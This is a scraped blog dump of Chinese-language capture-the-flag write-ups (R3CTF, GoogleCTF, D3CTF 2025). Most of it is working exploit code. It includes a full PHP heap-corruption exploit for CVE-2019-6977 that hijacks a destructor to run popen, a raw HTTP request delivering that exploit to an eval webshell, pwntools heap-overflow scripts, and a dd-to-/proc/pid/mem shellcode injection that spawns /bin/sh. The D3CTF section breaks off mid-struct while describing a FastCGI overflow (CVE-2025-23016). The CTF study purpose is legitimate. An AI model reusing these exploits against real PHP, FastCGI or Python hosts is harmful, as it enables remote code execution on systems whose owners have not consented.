KeyboardInterrupt: exit()","categories":[],"tags":[{"name":"python","slug":"python","permalink":"https://stackc00ki3.github.io/tags/python/"},{"name":"shared mem","slug":"shared-mem","permalink":"https://stackc00ki3.github.io/tags/shared-mem/"}]},{"title":"R3CTF2025","slug":"R3CTF2025","date":"2025-07-07T06:12:23.000Z","updated":"2025-07-07T11:20:43.127Z","comments":true,"path":"2025/07/07/R3CTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/07/07/R3CTF2025/","excerpt":"php RCE but -libc_leak +pie_leak +rdi_control","text":"not a web chal题目描述They sell you time on their machines — a clean, rented slice of logic, wrapped in shimmering APIs and fine-grained isolation. Every instance ephemeral. Every function predictable. Every boundary — supposedly unbreakable. But she slipped through. Fake shell. Fake filesystem. Just a narrow tunnel encased in layers of interpreter containment. And yet… somewhere between the pixels and the silence, the system blinked. Now she’s vanished from the instance logs, her code executed, her trace buried in the smog of scheduled resets- in an unexpected return, a crafted request, a whisper embedded deep in the noise. Connect to the system. Follow her trail. Decode the base. Bend the allocator. Bypass the fences they swore couldn’t be crossed — not with violence, but with precision. 题目功能/home/ctf/scripts/index.php 1<?php eval($_POST["cmd"]); 一句话木马。 php.ini:危险函数全禁完了,并且限制只能访问 /home/ctf/scripts或 /tmp 漏洞点从 Dockerfile 可知是 php 8.4.3 但手动回滚了 CVE-2019-6977 的修复补丁 找到的 exp 适用于 php 7.2.x: exploits/CVE-2019-6977-imagecolormatch CVE-2019-6977php-src\\ext\\gd\\gd_color_match.c 1234567891011121314buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0); for (x=0; x<im1->sx; x++) { for( y=0; y<im1->sy; y++ ) { color = im2->pixels[y][x]; rgb = im1->tpixels[y][x]; bp = buf + (color * 5); (*(bp++))++; *(bp++) += gdTrueColorGetRed(rgb); *(bp++) += gdTrueColorGetGreen(rgb); *(bp++) += gdTrueColorGetBlue(rgb); *(bp++) += gdTrueColorGetAlpha(rgb); } TLDR: 堆上越界写5个 unsigned long ,第一个只能 +1 ,其他四个可加 0-0xff sink点阅读原 exp 发现最后通过对 ht->pDestructor 和 p->val 的控制,达成了 php 脚本运行结束时进行任意函数调用,参数只能控制 rdi 。 php-src\\Zend\\zend_hash.c:1774 1ht->pDestructor(&p->val); 所以需要在原exp基础上有泄露的函数地址。 泄露地址原 exp 泄露地址的方法是先制造这样的堆结构 123[z: zend_string: 0x200][x: zend_string: 0x200][y: any_struct_to_leak: 0x200] 然后先 $unset($z) 把 z 释放,再调用 imagecolormatch($img1, $img2); 分配到 z 的位置,并且溢出写 5 个 long 。这样第二个long正好篡改到 size_t zend_string.len,使得 x 大小增大了 0xff,通过 x 能泄露出 y 的 内容。 123[buf: long[] : 0x200][x: zend_string: 0x200][y: any_struct_to_leak: 0x200] 利用思路泄露基址想找带 libc 指针的结构体泄露,但想不出来。 想分配 huge 触发 mmap 让堆和libc贴合,也没成功。 而原 exp 第二部分通过 泄露 zend_object 上的指针获得了 ce, properties 指针 结构体如下: 123456789struct _zend_object { zend_refcounted_h gc; uint32_t handle; // TODO: may be removed ??? uint32_t extra_flags; /* OBJ_EXTRA_FLAGS() */ zend_class_entry *ce; const zend_object_handlers *handlers; HashTable *properties; zval properties_table[1];}; 结构体中有 handlers 指针,这个指针指向 php-fpm 的 bss 段,泄露它可得到 pie。 PS:因为 php-fpm 都是 fork 出的子进程,他们的pie都相同 php 8.4.3 版本变化原exp在 php 8.4.3 下运行会触发两个 deprecated warning, 而这两个警告要分配内存,导致内存布局偏移,所以要在第二次泄露前分配内存,第二个ce相对x的偏移量也要修改。 RCEphp-fpm 没有导入 system ,只有 popen popen 接收两个参数,这里没法控制 rsi ,所以没法直接调用 popen 搜到一个最后调用 zif_system(*zend_execute_data, return_val) 达成 RCE 的 writeuphttp://blog.huntergregal.com/2020/07/from-web-to-pwn-ffi-arbitrary-readwrite.html 这个只需要rdi指向合法的 struct _zend_execute_data 即可,但构造很麻烦。 最后我使用了 RVA = 0x04EC5CF 的 magic_gadget 12345678910111213.text:00000000004EC5CF lea rsi, aKoi8R+5 ; modes.text:00000000004EC5D6 push rbp.text:00000000004EC5D7 push rbx.text:00000000004EC5D8 mov ebx, edi.text:00000000004EC5DA mov rdi, r12 ; command.text:00000000004EC5DD sub rsp, 38h.text:00000000004EC5E1 mov [rsp+68h+arg], rdx.text:00000000004EC5E6 mov [rsp+68h+var_50], rcx.text:00000000004EC5EB mov rax, fs:28h.text:00000000004EC5F4 mov [rsp+68h+var_40], rax.text:00000000004EC5F9 xor eax, eax.text:00000000004EC5FB mov [rsp+68h+returned_len], 0.text:00000000004EC604 call _popen 这里 popen 的 第一个参数来自 r12,但经过调试发现触发任意函数调用时 r12 恒等于 rdi + 0x20,而 rdi 指向的内存可控。 也就是只要劫持控制流到这个 magic_gadget 就会调用 popen($rdi+0x20, "r"); 唯一缺点是没有回显 wait what?发现 /flag 文件的权限是 777RCE执行 cp /flag /home/ctf/scripts/flag.php 把 flag 直接复制到 nginx 可访问的目录浏览器访问 /flag.php 得到flag EXP泄露pie123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182<?php# imagecolormatch() OOB Heap Write exploit# https://bugs.php.net/bug.php?id=77270# CVE-2019-6977# Charles Fol# @cfreal_## Usage: GET/POST /exploit.php?f=<system_addr>&c=<command># Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi## Target: PHP 7.2.x# Tested on: PHP 8.4.3#define('OFFSET_STR_VAL', 0x18);define('BYTES_PER_COLOR', 0x28);class Nenuphar extends DOMNode{ function __construct() { $this->x = '1'; } function __get($x) { return $this->$x; }}class Nenuphar2 extends DOMNode{ function __construct() { $this->x = '2'; } function __get($x) { return $this->$x; }}function ptr2str($ptr, $m=8){ $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}function str2ptr(&$str, $p, $s=8){ $address = 0; for($j=$p+$s-1;$j>=$p;$j--) { $address <<= 8; $address |= ord($str[$j]); } return $address;}for($i=0;$i<100;$i++) ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);for($i=0;$i<100;$i++) ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);$nb_colors = 12;$size_buf = $nb_colors * BYTES_PER_COLOR;$img1 = imagecreatetruecolor(1, 1);$color = imagecolorallocate($img1, 0xFF, 0, 0);imagefill($img1, 0, 0, $color);$img2 = imagecreate(1, 1);for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i);imagesetpixel($img2, 0, 0, $nb_colors + 1);$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);unset($z);imagecolormatch($img1, $img2);unset($y);$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;//$z_address = 0x7770086a7a18;$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);$z = # refcount ptr2str(1) . # u-nTableMask meth ptr2str(0) . # Bucket arData ptr2str($z_address + 0x38) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(1, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement ptr2str(0x4242424242424242) . # dtor_func_t pDestructor ptr2str(hexdec($_REQUEST['f'])) . str_pad($_REQUEST['c'], 0x100, "\\x00") . ptr2str(0, strlen($y) - 0x38 - 0x100);print('z.val: 0x' . dechex($z_address) . "\\n");${'spray'.(500)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);${'spray'.(501)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);$nb_colors = 2;$size_buf = $nb_colors * BYTES_PER_COLOR;$img1 = imagecreatetruecolor(1, 1);$color = imagecolorallocate($img1, 0, 0xFF, 0);imagefill($img1, 0, 0, $color);$img2 = imagecreate(1, 1);for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i);$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);$nenuphar = new Nenuphar();$nenuphar2 = new Nenuphar2();imagesetpixel($img2, 0, 0, $nb_colors);unset($y);imagecolormatch($img1, $img2);$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);$handlers1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x30);$pie = $handlers1_address - 0x1806380;$ce2_address = str2ptr($x, 0x100);$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);print('x: ' . $x);print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\\n");print('Nenuphar.handlers: 0x' . dechex($handlers1_address) . "\\n");print('pie: 0x' . dechex($pie) . "\\n");print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\\n");print('Nenuphar.properties: 0x' . dechex($props_address) . "\\n");print('z.val: 0x' . dechex($z_address) . "\\n");print('Difference: 0x' . dechex($z_address-$props_address) . "\\n");if( $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff || $z_address - $props_address < 0){ print('That won\\'t work'); exit(0);} RCE代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220<?php# imagecolormatch() OOB Heap Write exploit# https://bugs.php.net/bug.php?id=77270# CVE-2019-6977# Charles Fol# @cfreal_## Usage: GET/POST /exploit.php?f=<system_addr>&c=<command># Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi## Target: PHP 7.2.x# Tested on: PHP 8.4.3#define('OFFSET_STR_VAL', 0x18);define('BYTES_PER_COLOR', 0x28);class Nenuphar extends DOMNode{ function __construct() { $this->x = '1'; } function __get($x) { return $this->$x; }}class Nenuphar2 extends DOMNode{ function __construct() { $this->x = '2'; } function __get($x) { return $this->$x; }}function ptr2str($ptr, $m=8){ $out = ""; for ($i=0; $i<$m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out;}function str2ptr(&$str, $p, $s=8){ $address = 0; for($j=$p+$s-1;$j>=$p;$j--) { $address <<= 8; $address |= ord($str[$j]); } return $address;}for($i=0;$i<100;$i++) ${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);for($i=0;$i<100;$i++) ${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);$nb_colors = 12;$size_buf = $nb_colors * BYTES_PER_COLOR;$img1 = imagecreatetruecolor(1, 1);$color = imagecolorallocate($img1, 0xFF, 0, 0);imagefill($img1, 0, 0, $color);$img2 = imagecreate(1, 1);for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i);imagesetpixel($img2, 0, 0, $nb_colors + 1);$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);unset($z);imagecolormatch($img1, $img2);unset($y);$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;//$z_address = 0x7770086a7a18;$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);$z = # refcount ptr2str(1) . # u-nTableMask meth ptr2str(0) . # Bucket arData ptr2str($z_address + 0x38) . # uint32_t nNumUsed; ptr2str(1, 4) . # uint32_t nNumOfElements; ptr2str(1, 4) . # uint32_t nTableSize ptr2str(0, 4) . # uint32_t nInternalPointer ptr2str(0, 4) . # zend_long nNextFreeElement ptr2str(0x4242424242424242) . # dtor_func_t pDestructor ptr2str(hexdec($_REQUEST['f'])) . str_pad($_REQUEST['c'], 0x100, "\\x00") . ptr2str(0, strlen($y) - 0x38 - 0x100);print('z.val: 0x' . dechex($z_address) . "\\n");${'spray'.(500)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);${'spray'.(501)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);$nb_colors = 2;$size_buf = $nb_colors * BYTES_PER_COLOR;$img1 = imagecreatetruecolor(1, 1);$color = imagecolorallocate($img1, 0, 0xFF, 0);imagefill($img1, 0, 0, $color);$img2 = imagecreate(1, 1);for($i=0;$i<$nb_colors;$i++) imagecolorallocate($img2, 0, 0, $i);$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);$nenuphar = new Nenuphar();$nenuphar2 = new Nenuphar2();imagesetpixel($img2, 0, 0, $nb_colors);unset($y);imagecolormatch($img1, $img2);$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);$handlers1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x30);$pie = $handlers1_address - 0x1806380;$ce2_address = str2ptr($x, 0x100);$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);print('x: ' . $x);print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\\n");print('Nenuphar.handlers: 0x' . dechex($handlers1_address) . "\\n");print('pie: 0x' . dechex($pie) . "\\n");print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\\n");print('Nenuphar.properties: 0x' . dechex($props_address) . "\\n");print('z.val: 0x' . dechex($z_address) . "\\n");print('Difference: 0x' . dechex($z_address-$props_address) . "\\n");if( $ce2_address - $ce1_address < ($z_address-$props_address) / 0xff || $z_address - $props_address < 0){ print('That won\\'t work'); exit(0);}$color = imagecolorallocate($img1, 0, 0xFF, 0);imagefill($img1, 0, 0, $color);imagesetpixel($img2, 0, 0, $nb_colors + 3);for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF){ imagecolormatch($img1, $img2); $ce1_address++;}$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);imagefill($img1, 0, 0, $color);$current = imagecolormatch($img1, $img2);$ce1_address++;$color = imagecolorallocate($img1, 0, 0, 0);imagefill($img1, 0, 0, $color);while($ce1_address++ < $ce2_address){ imagecolormatch($img1, $img2);}$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);if($new_ce1_address == $ce2_address && $new_props_address == $z_address){ print("\\nExploit SUCCESSFUL !\\n");}else{ print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\\n"); print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\\n"); print("\\nExploit FAILED !\\n");} http 包123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224POST /index.php?f=0x56046daec5cf&c=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcp+/flag+/home/ctf/scripts/flag.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 5397Origin: http://s1.r3.ret.sh.cn:30739Connection: closeReferer: http://s1.r3.ret.sh.cn:30739/index.phpUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Priority: u=0, iDNT: 1cmd=define('OFFSET_STR_VAL',+0x18)%3bdefine('BYTES_PER_COLOR',+0x28)%3bclass+Nenuphar+extends+DOMNode{++++function+__construct()++++{++++++++$this->x+%3d+'1'%3b++++}++++function+__get($x)++++{++++++++return+$this->$x%3b++++}}class+Nenuphar2+extends+DOMNode{++++function+__construct()++++{++++++++$this->x+%3d+'2'%3b++++}++++function+__get($x)++++{++++++++return+$this->$x%3b++++}}function+ptr2str($ptr,+$m%3d8){++++$out+%3d+""%3b++++for+($i%3d0%3b+$i<$m%3b+$i%2b%2b)++++{++++++++$out+.%3d+chr($ptr+%26+0xff)%3b++++++++$ptr+>>%3d+8%3b++++}++++return+$out%3b}function+str2ptr(%26$str,+$p,+$s%3d8){++++$address+%3d+0%3b++++for($j%3d$p%2b$s-1%3b$j>%3d$p%3b$j--)++++{++++++++$address+<<%3d+8%3b++++++++$address+|%3d+ord($str[$j])%3b++++}++++return+$address%3b}for($i%3d0%3b$i<100%3b$i%2b%2b)++++${'spray'.$i}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3bfor($i%3d0%3b$i<100%3b$i%2b%2b)++++${'sprayx'.$i}+%3d+str_repeat(chr($i),+12+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b$nb_colors+%3d+12%3b$size_buf+%3d+$nb_colors+*+BYTES_PER_COLOR%3b$img1+%3d+imagecreatetruecolor(1,+1)%3b$color+%3d+imagecolorallocate($img1,+0xFF,+0,+0)%3bimagefill($img1,+0,+0,+$color)%3b$img2+%3d+imagecreate(1,+1)%3bfor($i%3d0%3b$i<$nb_colors%3b$i%2b%2b)++++imagecolorallocate($img2,+0,+0,+$i)%3bimagesetpixel($img2,+0,+0,+$nb_colors+%2b+1)%3b$z+%3d+str_repeat('Z',+$size_buf+-+OFFSET_STR_VAL)%3b$x+%3d+str_repeat('X',+$size_buf+-+OFFSET_STR_VAL)%3b$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL)%3bunset($z)%3bimagecolormatch($img1,+$img2)%3bunset($y)%3b$z_address+%3d+str2ptr($x,+488)+%2b+OFFSET_STR_VAL%3b//$z_address+%3d+0x7770086a7a18%3b$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b$z+%3d++++%23+refcount++++ptr2str(1)+.++++%23+u-nTableMask+meth++++ptr2str(0)+.++++%23+Bucket+arData++++ptr2str($z_address+%2b+0x38)+.++++%23+uint32_t+nNumUsed%3b++++ptr2str(1,+4)+.++++%23+uint32_t+nNumOfElements%3b++++ptr2str(1,+4)+.++++%23+uint32_t+nTableSize++++ptr2str(0,+4)+.++++%23+uint32_t+nInternalPointer++++ptr2str(0,+4)+.++++%23+zend_long+nNextFreeElement++++ptr2str(0x4242424242424242)+.++++%23+dtor_func_t+pDestructor++++ptr2str(hexdec($_REQUEST['f']))+.++++str_pad($_REQUEST['c'],+0x100,+"\\x00")+.++++ptr2str(0,+strlen($y)+-+0x38+-+0x100)%3bprint('z.val%3a+0x'+.+dechex($z_address)+.+"\\n")%3b${'spray'.(500)}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b${'spray'.(501)}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b$nb_colors+%3d+2%3b$size_buf+%3d+$nb_colors+*+BYTES_PER_COLOR%3b$img1+%3d+imagecreatetruecolor(1,+1)%3b$color+%3d+imagecolorallocate($img1,+0,+0xFF,+0)%3bimagefill($img1,+0,+0,+$color)%3b$img2+%3d+imagecreate(1,+1)%3bfor($i%3d0%3b$i<$nb_colors%3b$i%2b%2b)++++imagecolorallocate($img2,+0,+0,+$i)%3b$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b$x+%3d+str_repeat('X',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b$nenuphar+%3d+new+Nenuphar()%3b$nenuphar2+%3d+new+Nenuphar2()%3bimagesetpixel($img2,+0,+0,+$nb_colors)%3bunset($y)%3bimagecolormatch($img1,+$img2)%3b$ce1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x28)%3b$handlers1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x30)%3b$pie+%3d+$handlers1_address+-+0x1806380%3b$ce2_address+%3d+str2ptr($x,+0x100)%3b$props_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x38)%3bprint('x%3a+'+.+$x)%3bprint('Nenuphar.ce%3a+0x'+.+dechex($ce1_address)+.+"\\n")%3bprint('Nenuphar.handlers%3a+0x'+.+dechex($handlers1_address)+.+"\\n")%3bprint('pie%3a+0x'+.+dechex($pie)+.+"\\n")%3bprint('Nenuphar2.ce%3a+0x'+.+dechex($ce2_address)+.+"\\n")%3bprint('Nenuphar.properties%3a+0x'+.+dechex($props_address)+.+"\\n")%3bprint('z.val%3a+0x'+.+dechex($z_address)+.+"\\n")%3bprint('Difference%3a+0x'+.+dechex($z_address-$props_address)+.+"\\n")%3bif(++++$ce2_address+-+$ce1_address+<+($z_address-$props_address)+/+0xff+||++++$z_address+-+$props_address+<+0){++++print('That+won\\'t+work')%3b++++exit(0)%3b}$color+%3d+imagecolorallocate($img1,+0,+0xFF,+0)%3bimagefill($img1,+0,+0,+$color)%3bimagesetpixel($img2,+0,+0,+$nb_colors+%2b+3)%3bfor($current%3d$props_address%2b0xFF%3b$current<%3d$z_address%3b$current%2b%3d0xFF){++++imagecolormatch($img1,+$img2)%3b++++$ce1_address%2b%2b%3b}$color+%3d+imagecolorallocate($img1,+0,+$z_address-$current%2b0xff,+0)%3bimagefill($img1,+0,+0,+$color)%3b$current+%3d+imagecolormatch($img1,+$img2)%3b$ce1_address%2b%2b%3b$color+%3d+imagecolorallocate($img1,+0,+0,+0)%3bimagefill($img1,+0,+0,+$color)%3bwhile($ce1_address%2b%2b+<+$ce2_address){++++imagecolormatch($img1,+$img2)%3b}$new_ce1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x28)%3b$new_props_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x38)%3bif($new_ce1_address+%3d%3d+$ce2_address+%26%26+$new_props_address+%3d%3d+$z_address){++++print("\\nExploit+SUCCESSFUL+!\\n")%3b}else{++++print('NEW+Nenuphar.ce%3a+0x'+.+dechex($new_ce1_address)+.+"\\n")%3b++++print('NEW+Nenuphar.std.properties%3a+0x'+.+dechex($new_props_address)+.+"\\n")%3b++++print("\\nExploit+FAILED+!\\n")%3b}","categories":[],"tags":[{"name":"php-pwn","slug":"php-pwn","permalink":"https://stackc00ki3.github.io/tags/php-pwn/"},{"name":"CVE-2019-6977","slug":"CVE-2019-6977","permalink":"https://stackc00ki3.github.io/tags/CVE-2019-6977/"},{"name":"ZMM","slug":"ZMM","permalink":"https://stackc00ki3.github.io/tags/ZMM/"}]},{"title":"GoogleCTF2025","slug":"GoogleCTF2025","date":"2025-07-02T01:50:08.000Z","updated":"2025-07-08T13:08:20.947Z","comments":true,"path":"2025/07/02/GoogleCTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/07/02/GoogleCTF2025/","excerpt":"WIP","text":"The Classic Notes App题目功能create_note: 先分配一个新的 void* notes[note_count] 再分配新的notewrite_note: 按 offset 偏移写入 note ,长度有检查,但 offset 没有 题目自定义了发生 SIGSEGV 时的 handler 1234sigemptyset(&s.sa_mask);s.sa_flags = 0x40000000;s.sa_handler = (__sighandler_t)handler;sigaction(11, &s, 0LL); handler 中对 void *my_function_frames[] 进行了遍历,这个结构体 +0 位置是一个 char* name,如果这个字符串为 exit 就会调用 +8 位置的函数指针指向的函数 123456789101112131415161718void __noreturn handler(){ int i; // [xsp+34h] [xbp+34h] puts("SIGFAULT!"); for ( i = 0; i <= 7; ++i ) { if ( my_function_frames ) { if ( !strcmp((const char *)(my_function_frames + 16LL * i), "exit") ) { puts("Calling exit from function frames"); (*(void (__fastcall **)(__int64))(my_function_frames + 16LL * i + 8))(0xFFFFFFFFLL); } } } exit(-1);} flag 函数读取并输出 flag。 原有的 my_function_frame 已经有 name 为 flag 的 flag 函数了,只需要把 name 从 flag 改成 exit 就会在触发 SIGSEGV 后调用到。 漏洞点在 W 指令里面没有检查 offset ,导致堆 oob 任意 offset 写 利用思路部分写篡改 void* notes[] 中的 char* note (1/16) , 将它指向 my_function_frames 然后把 frame 中 name 字段的值从 flag 改成 exit 最后写非法地址触发 SIGSEGV exp1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586#!/usr/bin/env python""" author: St4ckC00ki3"""from pwncli import *filename = "ctf"libcname = ""host = "the-classic-notes-app.2025.ctfcompetition.com"port = 1337elf = context.binary = ELF(filename)context.terminal = ["tmux", "neww"]context.log_level = "debug"if libcname != "": libc = ELF(libcname)gs = """b main"""def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote(host, port) else: # return process(elf.path) return process('qemu-aarch64 -L /usr/aarch64-linux-gnu ' + elf.path, shell = True)p = start()s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)r = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rl = lambda x: p.recvline(x)ia = lambda: p.interactive()# Your exploit heredef cmd(i): sla("command:\\n", i)def add(size): cmd('C' + str(size)) def read(idx): cmd('R' + str(size))def write(idx, off, size, content): pay = flat('W' , str(idx) , ' ' , str(off) , ' ' , str(size) , content) cmd(pay)def exp(): payload = p16(0x02a0) write(1, 0x20, len(payload), payload) payload = b'exit' write(0, 0x0, len(payload), payload) payload = b'\\xff'*8 write(1, 0x20, len(payload), payload) payload = b'crash' write(0, 0x0, len(payload), payload) if b'FLAG' in p.recvrepeat(0.5): ia()while True: try: exp() except: pass p.close() p = start() DataDefinition题目功能运行 dd能控制 dd 参数和运行 dd 后的一次输入 123456789101112131415161718192021222324252627282930313233343536# Copyright 2025 Google LLC## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at## https://www.apache.org/licenses/LICENSE-2.0## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.import subprocessimport sysdef main(): print('Do you like dd? It is my favorite old-style tool :D\\n') line = input(' > What is your favorite dd line?: ').encode() user_input = input(' > Any input to go with it?: ') print(user_input) user_input = user_input.encode() print('I like it! Let\\'s give it a go!') res = subprocess.run(['dd'] + line.split(), input=user_input, capture_output=True) print(res.stdout.decode('utf-8')) print(res.stderr.decode('utf-8')) print('It was fun, bye!') input()if __name__ == '__main__': main() 漏洞点ddexec 写入 /proc/$pid/mem 篡改进程的内存而用 dd 可以自选偏移写入文件,也就可以偏移到 rx 段写入 shellcode,进而劫持控制流 利用思路python3.12 进程在结束时会调用 Py_FinalizeEx,所以 dd 设置偏移到这个函数的位置写入 execve("/bin/sh",0,0) shellcode 然而 python 读入时进行了 encode() ,意味着只能读入 unicode 范围内的字符所以 shellcode 要全部为 unicode 字符 exp123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263from pwncli import *import subprocesscontext.log_level = "debug"context.arch = "amd64"if args.REMOTE: p = remote('datadefinition.2025.ctfcompetition.com', 1337)else: p = process(['python3', './chall.py'])if args.REMOTE: p.recvuntil(b'You can run the solver with:\\n') cmmd = p.recvline()[:-1] result = subprocess.run( ["bash", "-c", cmmd], capture_output=True, text=True, check=True ) p.sendline(result.stdout)finalize = 0x0006B10A0 # Py_FinalizeExp.recvuntil(b'dd line?: ')if args.REMOTE: p.sendline(f'of=/proc/{1}/mem bs=1 seek={finalize}')else: p.sendline(f'of=/proc/{pidof(p)[0]}/mem bs=1 seek={finalize}')p.recvuntil(b'with it?: ')code = """push 0x5a58555apop raxxor eax, 0x34313775xor dword ptr [rsp+0x10], eaxpush 0x6a51475apop raxxor eax, 0x6a393475xor dword ptr [rsp+0x14], eaxpop rdipop rdipush rsppop rdipush 0x3bpop raxpush 0pop rsipush 0pop rdxsyscall"""shellcode = asm(code)p.sendline(shellcode)p.interactive()","categories":[],"tags":[]},{"title":"D3CTF2025","slug":"D3CTF2025","date":"2025-06-01T06:51:48.000Z","updated":"2025-06-01T06:58:37.719Z","comments":true,"path":"2025/06/01/D3CTF2025/","link":"","permalink":"https://stackc00ki3.github.io/2025/06/01/D3CTF2025/","excerpt":"Yet Another CGI","text":"d3cgi漏洞点CVE-2025-23016 fcgiapp.c#L1173 12nameValue = (char *)Malloc(nameLen + valueLen + 2);if(FCGX_GetStr(nameValue, nameLen, stream) != nameLen) { size+2 运算造成的整型溢出导致可以 malloc 小堆块,并在写入堆块时堆溢出 fcgiapp.c#L175 FCGX_GetStr 函数中调用 struct FCGX_Stream 中的 fillBuffProc 函数指针 调用条件: isReader 非 null isClosed 为 null 123456789101112131415161718typedef struct FCGX_Stream { unsigned char *rdNext; /* reader: first valid byte * writer: equals stop */ unsigned char 